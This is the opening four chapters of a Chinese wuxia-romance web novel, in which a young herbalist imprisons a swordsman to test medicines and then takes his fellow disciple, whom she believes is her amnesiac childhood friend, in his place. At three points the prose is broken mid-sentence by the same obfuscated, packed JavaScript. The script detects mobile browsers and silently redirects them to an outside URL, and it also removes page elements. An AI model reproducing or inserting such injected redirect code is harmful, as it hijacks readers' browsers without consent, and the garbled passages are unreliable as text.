《你男朋友不会生气吧》 1. 第 1 章 听到木门外传来轻微声响时,杜如冕动也没动,只以为又有人来拜访并试图讨好林雪拂了。 他被林雪拂囚禁了三天,这种人少说也见到了四个。 或是殷勤小意地送她回来,在门口轻柔着声音问:“是不是累了?我让人去买了糖煎栗子。” 或是散步时“无意间”走到附近,所以“突发奇想”来问个好:“对了,你上次提到的这套画,我凑巧在拍卖场看到,就顺便拿给你。还有什么喜欢的,尽管跟我讲。” 就在昨天,他躺在柴房冷硬的木床上,听见有人进了院子,同时点评道:“这里还算精巧,就是有些年头了,也不够宽敞。我在城南有间宅子,要不要你搬去那儿?环境总归是好一点。这里住的什么人都有,三教九流、鱼龙混杂的,不如那边安全。” 杜如冕在心里冷笑,这人出手倒是大方,可惜人蠢无可救药。 林雪拂本人不正是方圆几里最重大的危险? 他翻了个身,单薄被单下的床板“嘎吱”响了一下,正在说话的人立刻便发觉:“那边好像有响动。” 杜如冕顿时停了动作。林雪拂这么心思深重、睚眦必报,要是让她以为他是有意向人求救或者试图逃走,又不知会怎么折磨他。 “没什么,我捡了只狗。”他听见林雪拂漫不经心的声音。 “不是野狗吧?喂的时候小心点。”那人关切地说,“有的狗野性难驯,会咬人的。” 杜如冕用尽了毅力才没有把牙咬出响声。 那人走后,柴房的门被拉开了。薄暮时分,淡金色的日光勾勒着那道剪影。 杜如冕眼睛被光芒刺痛,下意识地想往后退。但他不欲向林雪拂示弱,所以控制着自己没动。 林雪拂走近了,朝他倾过身来。她穿的一袭衣裳似是洗过许多次的,质地薄而轻软,下摆柔柔地垂到他身上。 杜如冕被喂过药物,几天来武功全被封住,所有力气被抽空了一样,完全没办法反抗,只能用眼神来表明自己坚贞不屈的态度。 然而并没有用,下一秒便被钳住了下巴,微温的碗沿抵着他的嘴唇。 碗中褐色液体发出强郁的苦涩,他却不由自主地注意到,那只执碗的手修长优美,贴着纹理纯净的细瓷,分不清哪个更白些。 “快喝。”有点不耐烦的催促语气。 杜如冕喉结轻轻滚动了下,感到自己是她砧板上的鱼肉。 汤剂见底,林雪拂收起空碗起身要走。杜如冕微微嘶哑地开口:“你把我关在这里,到底想做什么?” 林雪拂有些意外地看向他,一副初次考虑这个问题的样子,然后说:“试药。” 杜如冕早就听说,有人会用阴邪的手法炼制药人。三天来被灌了无数汤剂,还被银针刺入穴道,几度头痛欲裂、神志昏蒙,心中多少已经有过猜测。 只是,这两个字被对方这样轻描淡写地说出来,他还是不免心头一震。 作为声势煊赫的风眠山庄首徒,杜如冕从未想过,有一天自己会沦落到如此境地。 而一切的起因是三天前的夜里,他遭人追杀,躲进了南花梨巷十六号。 明明一直以来,这都是一座空置的闲宅。他稍摆脱了追踪的人,正在寂静黑暗的屋子里凝神调息,却听“嘶”一声轻响,身前燃起了一簇火苗。 全未料到如此之近处有人,杜如冕心中一惊,不假思索地抽出匕首,抵住了对方的咽喉。 那人似乎不会武功,一招之间被他挟持,也没再挣扎。听见外面的呼喝跑动声,居然笑了一下:“有人在找你吗?我不会声张的。” 她的嗓音轻而冷静,动听如冰泉。 杜如冕定了定神,借着微弱的光线,看清了对方的面容。 是一个陌生的少女,眉目如画,肤光胜雪,好看得惊人。 但确是素未谋面的,怎么会平白提出为他遮掩?……虽然说,自己出身世家,一表人才,江湖上也颇有名望,向来是有许多……仰慕者的。 现在想来,即使被薄刃紧贴着肌肤,她的手也十分稳定,焰影分毫不曾晃动——这本该成为他的第一个线索的。 或许是火光泄露了行迹,在他胡思乱想间,有人叩响了大门。少女做了个手势,示意他躲去里间。杜如冕迟疑了一下,还是照做了。 松开她的瞬间,鼻端闻到一丝幽冷的甜气,像是某种极其浅淡的熏香——这是他忽略的第二个线索。 室内有些凌乱地堆放着一些矮柜、箱箧,显然是乔迁伊始,尚未收拾停当。从窗后帷幕的间隙看去,少女打开院门,和外面的黑衣人说了几句什么。 方才穷凶极恶地袭击他的那些人,和她对话时,态度竟然称得上斯文,并很快转身向另一个方向去了。 待吵杂声渐远,夜晚恢复了安宁,她插上门闩,回身朝他一笑,甜美得像是一滴被火烤化的糖。杜如冕已经开始为此前对她的无礼感到抱歉了。 他理理衣衫,正正头簪,自屏风后绕出,以拳掩唇轻咳一声:“你对他们说了什么?” “他们在搜查一件失窃的东西。我相信不是你偷的。” 杜如冕一怔。他今晚正是受人所托,去一家叫做“灯烧月”的银楼取一只木盒。 “黑匾招牌红字,店面不大,悬龛里用挂钱和元宝供着财神。桃木盒子就在悬龛后面的暗格里。 我和银楼主人有约在先,今晚打烊后门不会锁,杜兄只管去取便是了。”委托他的人是这么说的。 而当他打开暗格,发现其中空无一物的同时,数件暗器破风而至。 杜如冕心知有异,夺路而逃,果真什么也不曾带走。 只是他们素昧平生,她又怎么会知道?说得好像十分了解和信任他的品行一样…… “因为是我偷的。”这是他失去意识前听到的最后一句话。 再醒来时,已经是在灰暗逼仄的柴房里了。内力和自由同时被剥夺,晨昏不辨的几个日夜。 出外历练以来,杜如冕独行独往,与同门也甚少联系,原本并不寄希望于有人发觉自己失踪了。只想哪天得了机会传信出去,或许会得到些许搭救。 所以,当那阵响动过去,外面安静一刻后,柴门突然打开,让他看清了来人的面容时,最先浮现在杜如冕心中的感受是,诧异。 白丝袍,青玉冠;风姿佳绝,貌若谪仙。 “苏沉檀?” 来人是他的师弟兼好友,据说未拜入风眠山庄之前,是一个极为富贵的家族的小公子,珍珠掷鱼、黄金络马也不足为惜。此外,他还生得异常俊美,天资过人,在门派中倍受簇拥与瞩目。 现在,苏沉檀就站在他面前,垂下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588977|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神似有一线怜悯:“杜师兄?你还好吧。” 杜如冕扯了扯身上皱得不成样子的衣服:“多谢关心,我没事,昨天刚吃过饭呢。” 苏沉檀拎起缚着他的锁链检视一眼,正要拔剑,杜如冕连忙阻止:“且慢,先别动手。” 苏沉檀停了动作:“你不想走?” 杜如冕解释道:“关住我的这个人,手段非常阴险,每隔一天给我一颗解药。倘若就这样走了,毒发起来恐怕难办……说起来,你怎么找到我的?” 苏沉檀手下一松,绷紧的锁链重又逶迤在地:“我在找林雪拂。” 他又补充道:“就是关你的这个人。“ 杜如冕心里想:所以找到我只是意外收获?口中只道:“你找她做什么?” 苏沉檀简略地说:“我认识的一个人死了,凶手已经伏诛。但我追查下来,似乎还和她有些关联。” 杜如冕本来以为林雪拂只是做些囚人炼药的勾当,不曾想竟还牵涉到人命关天的案子里。他提醒道:“她擅用毒,你和她交手之际千万小心。” 苏沉檀看了眼他身上的链子,道:“知道了。” 杜如冕略有些不自在地说:“我,我这是一时大意。” “其实不妨,九转雪芝丹在我身上。”苏沉檀说到此处,突然顿住,侧转过头。 杜如冕知道他内功深厚,定是察觉了什么。果然,过了一会,外出的林雪拂推门而入。 炎夏的正午,空气中滚动着蝉鸣。封闭式三合院落的狭小天井里,地面映着夹竹桃的影子。 两人在漂浮着的花香中对视。 杜如冕感到很奇怪。虽说苏沉檀确是不速之客,可林雪拂也未免盯着他看得太久了点吧? 最后,苏沉檀打破了沉默:“你囚禁我同门数日,打算几时放他?” 林雪拂这才将视线从他脸上移开,慢吞吞地说:“我囚禁他是有原因的。” “什么原因?”杜如冕以为她要说为了报复他当初挟持了她。听起来还算正当。 林雪拂说:“缺个试药的人。” 杜如冕从未见谁无耻得如此坦荡。 “如果你来替他,”林雪拂又道,“今天就可以放他走。” 杜如冕气得发抖。虽然他清楚,师弟修行的功法很特殊,配合九转雪芝丹可以百毒不侵;林雪拂又不会武功,要令苏沉檀任她揉捏没那么容易。 但是,此人阴险冷酷,谁知又会使出什么卑鄙手段?何况,她一见到苏沉檀就提出让他替他,很难说不是见色起意,又怎么能让她得逞? 又一阵沉默后,苏沉檀开口道:“好。” 杜如冕张了张嘴,最终却什么声音也没有发出来。 林雪拂从随身携带的香囊里取出一枚淡棕色的丸药,递给苏沉檀:“把这个吃了。” 又是这一招。先让人服下毒药,再用定期给予解药的方法控制他。真是下作,杜如冕恨恨地想。 苏沉檀接了过来,微拧着眉吞下。 林雪拂又给了杜如冕一个纸包,里面是浅红的药粉:“温水冲服。半日后你的内力就可以恢复。不用谢。” 不用谢?世上竟有如此厚颜之人!杜如冕把纸包握在手里,几乎要攥破了。 “那怎么可以?”他切齿道,“在下铭刻于心,来日必有重谢。” 2. 第 2 章 杜如冕离开前,将苏沉檀拉到一旁,低沉道:“师弟,今次我欠你一回。” 苏沉檀摇摇头:“我本就为了调查那桩案情,在她左右反而方便。” 杜如冕面色凝重:“话虽如此,你万不可掉以轻心,也不要过于委屈自己,令她恣意折辱于你……” 苏沉檀说:“我有分寸。” 杜如冕满怀担忧地走了,还一步三回头地回望他,用一种目送他步入地狱的业火中的眼神。 林雪拂倒是像什么都没发生一样,进屋拿了卷书出来,坐在院中的树下读。 那棵树开满了轻黄细柔的花朵,枝叶间漏下金粉般的阳光。 怎么,不要把他关起来吗?苏沉檀等了一会。 他对封闭黑暗的环境并不陌生。小时候每次犯了什么错,比如没有按时在卯时起床、吃饭时剩了青豆在盘里,或者先生反映他练字时不专心,结果总是祠堂的门在面前关上,留下他和列祖列宗的牌位在一起。 祠堂即使是夏天也有种阴冷的感觉,冬天更是四面八方的风都往里灌,声如鬼哭。年纪还小的苏沉檀抱膝倚坐在墙边,闻着空气中线香的味道。 “你有没有吃过桃子奶糕?”突然的问话打断了那片灰茫的回忆。 苏沉檀反应了一下才确定是在问自己。 为什么突然提起这个?林雪拂的面前并没有任何点心。 不知这是什么路数,他面无表情地看了眼对方,没有作声。 林雪拂似乎也并没有要等他回应,合上手里读了一半的书就要起身。 只是下一秒,书本“啪”地落在地上,林雪拂跌回到宽大藤椅上的软垫里。 她面色变得很白,像快要融化的冰,眼尾泛起一片桃花般的红,仿佛在忍受着很大的痛苦。 苏沉檀冷眼看着,这是坏事做尽,终于走火入魔了? 但他随后发现,林雪拂只是一个姿势太久,腿麻了。 腿麻是非常难受的,林雪拂疼得把旁边的叶子都揪下来了。不过,苏沉檀袖手旁观的样子,令她又想起了小时候的那个朋友。 那个朋友来找她玩,可她午睡才醒,懒懒的不想活动,于是假装肚子疼。那个朋友就蹲下.身,从她的脚踝起量了一量:“我帮你按这个穴位,你有没有觉得好一点?” 那时师傅已经开始教她一些医学知识,她清楚他按的地方分明是错的,但他坚持不懈地按了一会,她忽然又觉得有力气出去玩了。 苏沉檀从行事作风到待她的态度,和那个朋友哪里都不像。 只有长得像。 同样浓长的眉,略微下折的内眼角,玉雕似的下颚线,鼻梁挺直,靠近左耳有一颗浅小的痣。 林雪拂觉得,自己的朋友长大了,相貌完全就该是这个样子。 她只知道他的乳名而已。她现在还能称他为朋友吗? 第一次见面时,她还非常年幼,仍然和师傅住在深山老林里。 师傅自己种菜,还会给她做点玩具,并且有一屋子的书。每天睡过午觉,她都会挑一本,拿到秋千那里去看。 那次,她选的是一个妖怪的故事。 读到一半,旁边的树丛发出簌簌的响声,接着是一个盛气凌人的声音:“喂。” 小雪拂抬头,一个和她差不多年纪的小孩拨开树丛出来:“你在做什么?” 小雪拂觉得这个问题很没意思,就没有回答。 “你叫什么名字?”那小孩又问。 “这是什么书?”小孩凑过来看上面的字。 “给我看看,我用这个跟你换。”他解下自己佩着的一枚平安扣。 小雪拂正读到关键地方,觉得他很烦,拎着书跑回了屋里。 晚上吃饭的时候,这个小孩居然还在,并且也坐在了饭桌边。 师傅告诉她,小孩是自己的病人,要在家里住一段时间。 大约是上午要治病,小孩总在下午出现。 “这个很值钱的,为什么你不高兴?每次我赏给那些人值钱的东西,他们都很高兴。” “你吃过玫瑰酥酪吗?非常好吃。我在家每天都要吃。你们这里什么好吃的也没有。” “我家也有书,数不清的书,能装满十个屋子,不,二十个屋子!你以后到我家来玩,让你看个够。” “你不想和我做朋友吗?” 他一连几天来打扰林雪拂看书,却得不到她的热情回应。第四天就没有出现。 小雪拂以为他放弃了,谁知第五天,他又来了。 “看,糖葫芦!”他举着一串艳红的果实。上面撒了一点白芝麻,又裹了一层晶莹剔透的淡金色糖稀。 小雪拂吃过山楂,但没见过这种做法的山楂。是叫糖葫芦吗? “给你吃。”他把完完整整、一颗不少的糖葫芦举到她面前,“这个很好吃。” “哪里来的?”小雪拂有点移不开眼睛了。看上去这么漂亮,应该是很甜的吧? “我到镇上去了,用平安扣换的。你不是不要那个吗?” 小雪拂对到镇上的路有多远,以及一块上好翡翠换来的糖葫芦有多奢侈没有概念,只看了他一眼,把最顶上那颗咬了下来。 小孩期待地盯着她,眼睛亮晶晶的:“是不是很好吃?我没有骗你吧。” 外面的糖衣薄薄的,和山楂一起咬碎,香脆甜蜜。小雪拂咽下一口,点点头:“你这里怎么了?” 她用手碰了碰他眼角的一道红痕。 “树枝划到了。”小孩没有多说,“现在可以和我做朋友了吗?” 小雪拂说:“为什么你不吃?” 小孩咽了下口水:“我在家吃过好多了。你吃吧,我帮你拿着,会黏手的。”原先他在家的时候,佣人就是说会黏手,给他拿着木签。 小雪拂嫌他举糖葫芦的角度容易扎到自己,两手扶着他的手背,纠正到一个合适的姿势,才咬了下一颗。 她吃了四颗吃不下了,小孩把剩下的两颗吃了。 之后到小溪边洗了手,一起看了一本故事书。 小雪拂很开心。之前总觉得这个小孩不太聪明,可原来他认识的字只比她少一点!还可以一起讨论情节,比自己一个人看还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588978|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有趣。 小孩也显得很开心:“我还有一个长命锁,是金子做的,明天还能买好吃的。” 他第二次带来的是酸奶。 装在一个小小的瓷瓶里,瓶口扎了牛皮纸。 小孩帮她揭开,放上一只羹匙。也是原来在家里,佣人帮他做的事。 “好喝吗?”小孩说,“你喜欢喝吗?” 然后他就没有东西可以换钱了。不过,虽然从来没有正式宣布,小雪拂已经把他当成了朋友,即使没有好吃的也会和他玩。 “你有没有吃过木莓?”一次小雪拂问他,“要等春天快过完的时候,熟成深红色的,有的是紫色的,是山里最好吃的野果。” 小孩说:“那,到时候我们一起去摘吧。” “好。” 整个秋天,他们一起玩了很多的游戏,读了很多故事。 捡到一张师傅记过药方的纸片,就假装捡到了不知谁的遗书。 试图用一截木头做成一个独木舟。然后假装做成了,坐在上面假装出海。 假装她是魔教教主,他是她的护法。 冬天,他们一起烤火,从柴灰里扒出热乎乎的红薯分着吃。 下起雪来,他们说好要堆一个全世界最大的雪人,堆着堆着就开始互相砸雪球,最后两个人一起栽进了雪人的肚子里。 小雪拂已经迫不及待等到春天了。往常她一个人摘木莓就够开心了,这次有朋友和她一起摘,会开心成什么样啊! 可是冬天还没过完,小孩就被接走了。 师傅说,他的病已经好了。还把平安扣和长命锁塞到了他手里,让他以后不要随便拿来换钱了,即使换钱也要有点常识,别再被骗了。 小孩红着眼睛,将小雪拂拉到一边:“你可以跟我回家吗?我家也很好玩。我让他们给你做好吃的,全部都很好吃,是真的,我不骗你。” 小雪拂不知要说什么,想了很久,说:“你还回来吃木莓吗?” 小孩眼里一下滚落一颗泪来:“回来。他们不让我回来我就装病。” 小孩走后很长一段时间,小雪拂对着以前读得津津有味的故事书,都提不起劲来了。 不过,春天到了,她又高兴了起来。时不时去看一眼那些灌木,想知道它们结果子了没有。 渐渐的,木莓个个由青转红,眼看就要熟了。 小孩一直没有再来。 有时候,小雪拂会到秋千旁边,重新读那个妖怪的故事。 木莓再熟就要过了,小雪拂提着小篮去摘,被刺划伤好几道,摘了满满一篮子。她提到唯一的邻居阿婆家,问可不可以放到阿婆地窖里,这样比较不容易坏,保存的时间长一点。 阿婆说:“这么好看的木莓,小雪拂真会挑。是想留给你的小朋友吃吗?放地窖,可以是可以,不过,你的小朋友在城里要什么没有,未必稀罕这些了。你自己吃了吧,放坏了可惜。” 小雪拂摇摇头,坚持要留着。 最后还是全都坏掉了。 有些故事书是写给小孩子的,林雪拂再也不必看了。 3. 第 3 章 茱萸说要带她去一家一般人不知道的糖水铺,两人在曲里拐弯的巷子里绕了许久,终于坐到了一个很小的、空无一人的店里面。 下午暑气渐消时分,林雪拂点了薄荷绿豆沙,茱萸点了杏仁茶。 老板记下点单去后面烧水,林雪拂望着他的身影,小声说:“忙碌的店主开始了一天的工作。” 茱萸咳嗽了两下:“你别嘲笑人家。”然后说,“我看到你家新搬进去的人了。” 林雪拂点点头:“他叫苏沉檀。” 茱萸说:“知道。我听说过的。”她顿了顿,“你觉得他就是那个小孩?” 林雪拂说:“昨天第一眼看到他的时候,真的非常像。” 林雪拂感到必须再见那个小孩一面,是在师傅离开之后。 她的师傅是一个清瘦的老太太,最喜欢做的事是研读医书和炮制草药,勉强可以再加一项,给上门问诊的人看病。 不过,她们住的太偏远了,师傅也没什么名气,所以上门的人其实很少。 住在她们隔壁的另一个老太太是师傅的朋友,身形圆润,戴金耳环,爱吃肉,总是逗林雪拂叫“阿婆”就给她糖吃。最喜欢做的事是游山玩水,一年总有大半时间不在家。 难以想象,后来阿婆吃斋茹素,终日青灯为伴。师傅却离家云游,再也没有回来。 再接到师傅的音讯,是托人送来的一个包裹。里面躺着一本医书,师傅在上面做了密密的批注,还附有许多自己的心得。 另有一幅小字,上书——雪拂吾儿:平安顺遂,长乐无忧。 也是师傅的字迹。 一副道别的口吻。 师傅还在人世吗?究竟发生了什么? 她却没有一点线索,就连师傅云游到过何方都无从知晓。 医书上的批注是小时候见惯的行楷,有新有旧,有朱有墨,有工整有潦草,看不出特殊意义。 字帖是装裱过的。 林雪拂研究几天,将它带到了百衲斋。 百衲斋是秋水镇最大的书肆,阿婆总是从这里买书带给她。 除了经营古籍书画,百衲斋还网罗了各式各样的文玩清供、笔墨纸砚。掌柜总是戴上水晶石打磨的透镜,在店里忙忙碌碌地修补古董、鉴定真赝。 林雪拂站在一旁,看着掌柜割下画轴,将字平铺到案上,用毛笔细细蘸水到潮透、松软,再将画心、覆背纸与托纸层层揭开。 字帖背面什么都没有。 她不甘心地将纸凑到蜡烛边烤,又用碘酊涂,还把天地轴都拆开了,检查里面有没有夹层。 种种折腾下来,一无所获。 掌柜见她忙活半天、最后垂头丧气地在柜台边撕糖纸玩,磕了磕烟斗,道:“你可以去裱这幅字的店里问问。” “裱这幅字的店?” “桑州的店嘛。我只见过那里的书画用这种浆糊。” “很特别吗?这种浆糊。” 掌柜便开始了对历代装裱家、收藏家如何制糊、用糊的长篇大论。 “……怎么洗粉、捣浆、控制火候熬到不能过熟也不能过稠,都是有讲究的。有的行家有自己调配的秘方,做出来不霉变、不招虫子。就拿这幅来说,你闻闻,里面加了熏陆香末。单是这种配方的香,我也没见过几个。” 林雪拂分辨不出浆糊之间的差别,但对香熟识一些。毕竟平日辨识药性,嗅觉须得灵敏。 她收好了字幅,回去向阿婆辞行。 “小雪拂要去桑州啊?”阿婆在自己的樟木箱里翻了半天,找出一张皱巴巴的房契,“到了地方你就住这儿。桑州物价贵,旅店一宿要不少钱。” 于是,林雪拂住进了南花梨巷十六号。 郑初乾早就几次三番邀请她来桑州,听说了这个消息,整个人喜出望外,张罗着帮她修整新居,又说自己对桑州最好的饭庄、酒馆、点心铺子都了若指掌,还介绍她参加了几场诗会。 说是诗会,与会者都极为年轻,或是富裕显贵,或是世有声名,不过寻个缘由聚在一起游乐宴饮罢了。 筵席上有人打趣道:“听说郑公子每年都要去秋水镇避暑,今年怎么回事,夏天快要过去了,还不见动身。” 郑初乾假装没听见,把刚上桌的一小盏白鱼羹挪过来,对林雪拂道:“尝尝这个,很鲜的。” 林雪拂与郑初乾也认识许多年了。那时师傅见小雪拂失去了玩伴,有点闷闷不乐的,意识到她的社交生活需要丰富,便送她去镇上的书院里住了一段时间。 她在那里交到了新朋友茱萸,过了几个月,郑初乾来了,好像是茱萸的一个什么亲戚,来做客的,总是凑上来想跟她们一起玩。 不过她们不喜欢,打他还赶他走。郑初乾哭着留下来,坐在旁边看着就心满意足了。 每年夏天林雪拂来书院,总会看见郑初乾也在那里。不过随着年纪渐长,郑初乾自尊心也渐增,被欺负了也会骂她:“我再也不要和你玩了!你玩破案游戏的时候我也不会帮你假装尸体了!” …… 就是在这场诗会上,她听见几个人谈论拍卖会的事情:“张兄此言差矣,真正的珍品可没有列在对外的目录上。” “百年一遇的紫玄参和赤金莲还不叫珍品?” “人家说是赤金莲就是赤金莲啊?你见过赤金莲没有?” 林雪拂听着,慢慢地把汤匙放回碟子上。 她小时候住的山里生长着许多珍稀的药草,紫玄参就是其中之一。 师傅临走在包裹中装了好几支的。 师傅失踪。而后,紫玄参在市面上流传起来。 会是巧合吗? 她想了想,说:“目录上有一件东西我有点想要,能不能想办法找卖家直接卖给我?” 正高谈阔论的两人听了问话,互相对视一眼:“这个,一般来说,名单上的东西都是寄卖,拍卖行要分成的,肯定不愿意透露卖家是谁。卖家嘛也想着奇货可居,还是拍卖能多赚一点。” “不过,”那人话锋一转,“对林小姐来说,这都不是问题。” 郑初乾赞同地点头:“雪拂你看上什么了?我给你留着。” 旁边一人道:“郑少今天这么好说话了?我看上了你家绸庄的一匹雀羽织金缎子,方不方便给我也留一留?” 又一人也跟着说:“郑少,我前天经过典当行,见着了一尊翡翠观音也挺中意的。就是最近手头有点紧。” 郑初乾说:“老是手头紧,有没有反思过自己的问题。听说你接手了一半铺子后你家生意不是很好,老太太已经在考虑把你换掉了。” “……”那人笑容消失,默默低头剥盘子里的毛豆。 散场后,林雪拂和郑初乾一起去了拍卖行。掌柜口中称呼着“少东家”迎上来,将二人引到宾客室。 郑初乾要来了登记册,大方地让她随便看。 林雪拂接过册子从后面开始翻,很快就看到了紫玄参的条目。 下方用端正的楷书记着:灯烧月掌柜,孙丰策。 她不想被人看出来自己在关注什么,面色如常地翻到了下一页。 夜里,她叫上茱萸,来到了灯烧月银楼的后门。 轻叩两声,确认无人回应后,拿出一把特制的钥匙,伸入锁孔拨弄几下,只听“咔”地一声,簧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588979|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片弹开了。 进入里间后把门关好,用罗纱罩了玻璃灯,让光亮只略透出一点,既能些微照清里面的陈设,又不至于被外面路过的人看见。 里面的格局,林雪拂白天借口买一只项圈时,已经观察过。 屋子是两层的制式,货橱里陈列了掐丝点翠的银饰、银器,柜台边挂着一只红木算盘。一根吹火管、一把铁钉锤,以示百年老店从小作坊白手起家的传承。 茱萸帮她提着灯,看她在各处敲敲打打,每个箱柜都打开了一遍。只是方式很严谨,移开的东西在检查完毕后都会放回原位。 当林雪拂拆出抽屉后面的暗格时,茱萸也看出这里的异常了。 镶宝石的坠角和发簪、沉香封金的手持、剔红珊瑚的盆景……堆积累叠,珠光闪烁。 全不像是属于一家普通银楼的货色。 但是,也没有一件属于师傅。 林雪拂捡起一只白玉镯子,在朦胧的光线下端详片刻,又放了回去。 就在她准备重新封上暗格时,注意到最里端的角落,一个在金银珠宝中并不起眼的桃木方盒。 她缓缓将盒子抽了出来。上面刻着一个有些怪异的图案,雕工十分朴拙,似鱼又似龙。 林雪拂的心跳停滞了一瞬。 这个图案,阿婆的樟木箱子上也有一个同样的。有时候她靠在箱边看书,会无意识地用手指描摹上面的纹路。 她拿走了木盒。 回到家后,在烛光下,她用一柄小刀打开了它。 里面装的东西四四方方,像是又一个盒子。但却是由木块拼插起来的,有点像八卦锁。 这个小盒子的样式,她也在师傅那里见过。 当时师傅不许她当玩具玩,说这是传递情报的机关盒,必须要拨动到正确的位置才能打开。 没有密码而强行拆解的话,里面记录的信息会被完全损坏。 林雪拂从来没有在别处见过这种盒子。她甚至怀疑,这个盒子就是当初师傅手里的那个。 只是,师傅不曾透露过半句密码的消息。 但她的记忆中,还有一件与密码有关的事。 那是那个小孩离开前的一个月左右,他们溜进师傅的书房玩,发现了一个四四方方的匣子。 匣子表面是打磨得非常平滑的木头,只有一面镶着一个圆形玻璃。他们以为是类似万花筒的东西。 那个小孩闭起一只眼睛往里看,以一种惊奇的语气道:“好像密码一样!” 小雪拂立刻说:“给我看看!” 就在这时,师傅走了进来,一手拎一个把他们扔出了书房。 林雪拂再也没有见过那个匣子,她怀疑已经被师傅毁掉了。那时她年纪太小,立刻就被别的玩艺儿吸引了注意,都没问一句那个小孩究竟看到了什么。 此刻却冥冥中感到,那个匣子里的密码,也许就是为这个机关盒而设置的。 “杏仁茶。”店主把一盏翠蓝的茶盅放到桌上。 茱萸用一只调羹搅了搅,推到林雪拂面前:“你试试这个好吃还是你的绿豆沙好吃。” 又说:“也就是说,机关盒记载的信息与你师傅有关,而那个小孩可能是——至少据我们所知——唯一见过机关盒密码的人了?……” 林雪拂点头,茱萸若有所思地说:”我倒是知道关于苏沉檀的两件事。你想先听好的还是先听坏的?” 林雪拂喝了一口绿豆沙,又喝了一口杏仁茶:“随便。” “好消息是,苏沉檀自幼时起,是出了名的过目不忘。” “坏消息是,这个也同样不是秘密了——他失忆过。” 4. 第 4 章 从糖水铺出来,太阳几乎完全落下去了。橘红的余晖还稳稳地铺在青石砖路上。 茱萸说:“你是他失去的那段记忆里与他最密切的人了吧,要不试试跟他提一些以前的事或者东西?不过我觉得,你的存在就是最好的提醒了,最好是持之以恒地出现在他面前。我小姨也患过失忆症,她朋友就是这么办的,真的有用。” 林雪拂不响,茱萸又说:“现在这样下去,只怕他有一天想起密码也不肯说出来。你让他吃药的时候,就没一点顾虑和他的关系吗?” “我和他的关系还用得着顾虑?”林雪拂说,“我和他的关系回天乏力了已经。” 话虽如此,她的心情却有些沉重。 不设法弄到密码是不行的。 回到南花梨巷十六号时,苏沉檀坐在葡萄藤下的桌边削水果。胭脂色的桃子,在他手中很快裸出白嫩的果肉。 “果皮削得这么薄,好厉害。”先找个话题寒暄一下。 苏沉檀没说话,脸上是被夸得莫名其妙的表情。 “秋水镇有一种白桃,也很好吃。”林雪拂继续铺垫。 “我不曾去过秋水镇。”苏沉檀说。 虽然并不意外他这样说,林雪拂的心仍似乎往下沉了一寸。 “你知不知道你失忆的原因?” 苏沉檀也并不意外她打听到自己的事,只简单地说:“风寒引发的高热。” 这是茱萸没提到过的。也不知是真是假。 “倘若你想说我失忆前我们认识的,不必费神了。我知道我忘了什么,和你没有关系。” 苏沉檀语气平静,好像对她并没有意见,即使他不是出于自愿留在这里的。 “你怎么会知道的?”林雪拂问道。 “家人告诉过我。” 林雪拂失望地看着他:“那你就继续相信家人告诉你的东西吧。” 她已经不想再和他说话了。但又不能放弃与师傅有关的线索。 “伸手。”她说。 苏沉檀不动。 林雪拂威胁地说:“你吃了我的药怎么不听我的话。” 苏沉檀毫无反应,林雪拂又说:“你师兄也吃了我的药的。” 话本里都是这么写的,威胁不到他本人就威胁他亲近的人。 这招果然奏效,苏沉檀的目光一下锋利起来:“你给过解药了。” “是给了。”林雪拂说,“但你不会以为,只吃一次解药,他就好全了吧。” 苏沉檀似是被她的无耻所震慑,半晌,阴霾地看她一眼,缓缓将手放在了桌上。 林雪拂指尖搭上他的手腕,感觉到温热的脉搏在皮肤下有规律地跳动。 肌肤接触的刹那,苏沉檀的面上出现了隐忍的表情。待她一放开,他立刻将手收了回去。 林雪拂给他把脉没得到太大收获,决定试一试茱萸说的方法:“后天有灯会,你跟我去看。” 苏沉檀闻言看她。 纸灯笼昏沉的光照在她眼睛上,那双瞳孔里映着他小小的影子。 他一言未发,起身回了自己的房间。 林雪拂留给他的房间周全整洁,被褥都是新的,散发着皂角的香气。附近一家酒楼会每天送午饭和晚饭来。 这之前几天,他都没有接触到什么类似药物的东西。甚至林雪拂也很少出现。 突然叫他去看灯会,是什么意思? 日子到得很快。夜幕垂落,桑州城内的灯火仿佛在融化和流动。 商贾云集,人车熙攘;兰膏明烛,晃亮如梦。 两人一起出门,一路上,苏沉檀都在留意着林雪拂,观察她要搞什么名堂。 她的路线似乎是漫无目的的,走着走着就进了一条云集了书店和古玩铺子的街。 那里还有许多小的商贩,叫卖着菩提子和古玉、名家题字的折扇之类乱七八糟的玩意儿。 林雪拂拿起一个田黄石的印章,摊主立刻说:“客官好眼力!这是前朝一位大诗人亲刻的印章,千真万确。” “多少钱?” “便宜点算给你,一百文。” “哦。”林雪拂放了回去,“我再看看。” 